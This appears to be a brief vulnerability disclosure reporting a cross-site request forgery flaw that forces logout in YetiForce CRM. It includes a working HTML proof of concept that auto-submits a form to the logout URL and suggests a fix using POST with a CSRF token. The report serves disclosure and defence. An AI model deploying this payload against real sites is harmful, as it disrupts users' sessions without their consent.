An attacker is able to log out a user if a logged-in user visits the attacker’s website.
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://gitstable.yetiforce.com/index.php?module=Users&parent=Settings&action=Logout">
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
This vulnerability is capable of forging users to unintentional logout.
One way GET could be abused here is that a person (competitor perhaps:) placed an image tag with src="<your logout link>"
anywhere on the internet, and if a user of your site stumbles upon that page, he will be unknowingly logged out. This is why it should be a POST with a CSRF token
.
While this cannot harm a user’s account, it can be a great annoyance and is a valid CSRF.